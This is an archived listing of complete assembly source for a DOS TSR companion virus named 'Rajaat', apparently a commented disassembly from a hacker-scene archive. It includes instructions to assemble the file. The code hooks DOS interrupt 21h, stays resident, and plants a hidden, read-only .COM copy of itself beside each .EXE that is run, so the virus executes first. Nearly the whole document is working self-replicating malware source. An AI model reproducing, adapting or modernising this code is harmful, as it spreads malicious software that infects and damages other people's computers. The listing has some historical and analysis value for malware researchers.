home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / RJUPDAT2.ZIP / RAJT-287.ZIP / RAJT-287.A86 next >
Text File  |  1996-05-17  |  9KB  |  234 lines
  1. ; rajt-287.a86
  2. ; TSR companion virus
  3. ;
  4. ; 
  5. ; VSUM was a dud on this one (I really should get an update ;^))
  6. ; So here is:
  7. ; A quick and dirty disaster.. urrr.. disasembly by novice.
  8. ;
  9. ; you_say_I_make_to_long_labels? get_out_of_here!
  10. ;
  11. ; assemble with a86 rajt-287.a86
  12. ;
  13. ;                       p.s. disregard the corny comments
  14. .RADIX 16
  15.  
  16.                                 ; virus specific equates
  17. ATTR_HIDDEN_READONLY    EQU 03
  18. COM_BEGIN               EQU 0100
  19. RESIDENCY_TEST          EQU 03015
  20. PARAGRAPH_SIZE          EQU 029
  21. TSR_FLAG                EQU 0221
  22. VIR_LENGTH              EQU 011F
  23.  
  24.  
  25.                                 ; dos function equates
  26. ADJUST_MEM_BLK_SIZE     EQU 049
  27. CLOSE_FILE_W_HANDLE     EQU 03E
  28. CREATE_FILE_W_HANDLE    EQU 03C00
  29. DUPLICATE_HANDLE        EQU 045
  30. EXIT_CODE_SUB_PROG      EQU 04D
  31. FREE_MEM                EQU 04A
  32. GET_PUT_ATTRIB          EQU 043
  33. GET_VECT_INT21          EQU 03521
  34. LOAD_EXECUTE            EQU 04B00
  35. QUIT_WITH_EXIT_CODE     EQU 04C
  36. SET_VECT_INT21          EQU 02521
  37. WRITE_TO_FILE_W_HANDLE  EQU 040
  38.  
  39. START:                          ; And away we go! 
  40.         MOV B[TSR_FLAG],0       ; Set flag to 0
  41.         MOV AX,RESIDENCY_TEST   ; Ask for DOS-version
  42.         INT 021                 ;
  43.         CMP BX,RESIDENCY_TEST   ; Returns BX=3015?
  44.         JE  SET_TSR_FLAG        ; Yes, virus is resident. 
  45.  
  46. SET_INT_21:                     ;
  47.         MOV AX,GET_VECT_INT21   ; Ask for interrupt vector 21
  48.         INT 021                 ;
  49.         MOV W[OLD_INT21_CS],BX  ; Store interrupt 21
  50.         MOV W[OLD_INT21_IP],ES  ;
  51.         MOV AX,SET_VECT_INT21   ; Set interrupt 21 to our own interr.
  52.         MOV DX,OFFSET NEW_INT_21; 
  53.         INT 021                 ;                 
  54.         JMP SHORT SETUP_1STRUN  ; jump to
  55.  
  56. VANITY_PLATE: 
  57.         db "Rajaat"             ; i wonder what mug goes with 
  58.                                 ; this monnikker? (racist? who? MOI??)
  59. SET_TSR_FLAG:                   ; set up parameter block + arguments
  60.         MOV B[TSR_FLAG],1       ; set flag
  61.  
  62. SETUP_1STRUN:                   ;           
  63.         MOV AH,FREE_MEM         ; adjust memory block size
  64.         PUSH CS                 ; exchange cs en es
  65.         POP ES                  ; (cs=segmentaddr companionvirus)
  66.         MOV BX,PARAGRAPH_SIZE   ; virus size in paragr.
  67.         INT 021                 ;       
  68.         
  69.         MOV ES,W[02C]           ; es point to envir. block
  70.         MOV AH,ADJUST_MEM_BLK_SIZE ; adjust mem block
  71.         INT 021                 ;
  72.         
  73.         MOV DI,1                ; set up di=1 ax=0
  74.         XOR AX,AX               ;
  75.  
  76. READ_IN:                        ;
  77.         DEC DI                  ;
  78.         SCASW                   ;
  79.         JNE READ_IN             ; haul in the program environment 
  80.         
  81.         LEA SI,[DI+2]           ;
  82.         PUSH ES                 ;
  83.         POP DS                  ;
  84.         PUSH CS                 ;
  85.         POP ES                  ;
  86.         MOV DI,0222             ;
  87.         PUSH DI                 ;
  88.  
  89. SEARCH_EXT:                     ;
  90.         LODSB                   ;
  91.         STOSB                   ;
  92.         CMP AL,'.'              ; is there a _point_ to this?
  93.         JNE SEARCH_EXT          ; no? shut up and soldier!
  94.         CALL SET_EXTENSION      ; change extension to .EXE
  95.         PUSH CS                 ;
  96.         POP DS                  ;
  97.         POP DX                  ;
  98.         MOV AX,LOAD_EXECUTE     ; execute! (the .EXE progam that is)
  99.         MOV BX,0213             ; point to param block
  100.         MOV W[021F],CS          ; set the registers
  101.         MOV W[021B],CS          ;
  102.         MOV W[0217],CS          ;
  103.         MOV SP,0286             ; point to end param block ?
  104.         INT 021                 ; execute the host and parameters
  105.         
  106.         CS CMP B[TSR_FLAG],1    ; already resident?
  107.         JE ALREADY_RESIDENT     ; yes go on
  108.  
  109. GO_RESIDENT:        
  110.         MOV DX,0286             ; dx=last program byte +1
  111.         INT 027                 ; go res. and end virus program.
  112.                                 ; exit to DOS 
  113.                                 ; Note: The exit code of the .EXE
  114.                                 ; gets lost here!
  115. ALREADY_RESIDENT:               ;
  116.         MOV AH,EXIT_CODE_SUB_PROG ; get exit code subprogram 
  117.                                 ;  (=companioned .EXE)
  118.         INT 021                 ;
  119.         MOV AH,QUIT_WITH_EXIT_CODE ; quit to DOS with exit code of 
  120.                                 ; companioned .EXE
  121.         INT 021                 ;   
  122.                                   
  123. SET_EXTENSION:                  ;
  124.         MOV AX,05845            ; 'XE'
  125.         STOSW                   ;
  126.         MOV AX,045              ; 'E'
  127.         STOSW                   ;
  128.         RET
  129.  
  130. OLD_INT_21:
  131.         OLD_INT21_CS DW 00      ; storage for original int 21 adresses
  132.         OLD_INT21_IP DW 00      ;
  133.  
  134. NEW_INT_21:        
  135.         CMP AX,RESIDENCY_TEST   ; residency check?
  136.         JNE CHECK_FUNCTIONS     ; no continue
  137.         MOV BX,AX               ; yes swap ax and bx
  138.         IRET                    ; return to calling virus
  139.  
  140. CHECK_FUNCTIONS: 
  141.         CMP AX,LOAD_EXECUTE     ; is it an execute command?
  142.         JE VIRAL_INT            ; yes jump to virus handler
  143.         CMP AH,GET_PUT_ATTRIB   ; is it a get/put file attrib command?
  144.         JE VIRAL_INT            ; yes, jump to viral handler.
  145.                                 ; NOTE: The only effect of letting
  146.                                 ; get/put file attrib be handled by
  147.                                 ; the virus handler is that the virus
  148.                                 ; sets its own file attribute to HR each time 
  149.                                 ; it is run. So if you use ATTRIB.EXE to
  150.                                 ; change the settings of the .COM
  151.                                 ; file, each time it is run the .COM
  152.                                 ; file is set back to HR.
  153.                                 ; Neat, but a bit pointless!
  154.                                    
  155. JUMP_OLD_INT21:                 ; let old int handle things
  156.         CS JMP D[OLD_INT_21]    ; jump to ..OLD_INT_21
  157.                                 
  158. INT21_CALL:        
  159.         PUSHF
  160.         CS CALL D[OLD_INT_21]   ; call old_int_21 from within virus
  161.         RET                     ;
  162.  
  163. VIRAL_INT: 
  164.         PUSH AX                  ; Save Our Souls (and registers)
  165.         PUSH BX                  ;
  166.         PUSH CX                  ;
  167.         PUSH DX                  ;
  168.         PUSH SI                  ;
  169.         PUSH DI                  ;
  170.         PUSH DS                  ;
  171.         PUSH ES                  ;
  172.         
  173.         MOV SI,DX                ;
  174.  
  175. FIND_EXTENSION:                  ;
  176.         LODSB                    ;
  177.         CMP AL,'.'               ; Get to da point will yah
  178.         JNE FIND_EXTENSION       ;
  179.         
  180.         PUSH SI
  181.         LODSW                    ; load first 2 chars of extension
  182.         OR AX,02020              ; conversion to ascii ??
  183.         CMP AX,07865             ; check for 'XE' 
  184.         JNE EXIT_VIRUS_INT       ; no, exit
  185.         LODSB                    ; check for 'E'  
  186.         OR AL,020                ; conversion to ascii?  
  187.         CMP AL,065               ;      (better that than to hari krisna)
  188.         JNE EXIT_VIRUS_INT       ;
  189.                                 
  190. CHANGE_EXTENSION:                ; change extension to .COM        
  191.         POP DI                   ; 
  192.         PUSH DI                  ; 
  193.         PUSH DS                  ; 
  194.         POP ES                   ;
  195.         MOV AX,04F43             ; 'OC'
  196.         STOSW                    ;
  197.         MOV AL,04D               ; 'M'
  198.         STOSB                    ;
  199.  
  200. WRITE_VIRUS:                     ; write virus to disk
  201.         MOV AX,CREATE_FILE_W_HANDLE
  202.         MOV CX,ATTR_HIDDEN_READONLY
  203.         CALL INT21_CALL          ;
  204.         XCHG AX,BX               ; store file handle
  205.         PUSH CS                  ;
  206.         POP DS                   ;
  207.         MOV DX,COM_BEGIN         ; start at 100h
  208.         MOV CX,VIR_LENGTH        ; for vir_length bytes
  209.         MOV AH,WRITE_TO_FILE_W_HANDLE
  210.         CALL INT21_CALL          ;
  211.         MOV AH,CLOSE_FILE_W_HANDLE
  212.         CALL INT21_CALL          ;
  213.         POP DI                   ;
  214.         CALL SET_EXTENSION       ;
  215.         JMP EXIT_VIRUS_INT_2     ;
  216.  
  217. EXIT_VIRUS_INT:                  ;
  218.         POP SI                   ;
  219. EXIT_VIRUS_INT_2:                ;
  220.         POP ES                   ; wotta lotta poppers!
  221.         POP DS                   ;
  222.         POP DI                   ;
  223.         POP SI                   ;
  224.         POP DX                   ;
  225.         POP CX                   ;
  226.         POP BX                   ;
  227.         POP AX                   ;
  228.         JMP JUMP_OLD_INT21       ; definitly a case of the jumps
  229.  
  230. DATA_DUMP:                       ;
  231. db 00,00,80,00,56,07,5c          ;
  232. db 00,56,07,6c,00                ;
  233. END                              ; t-t-thats all f-f-folks
  234.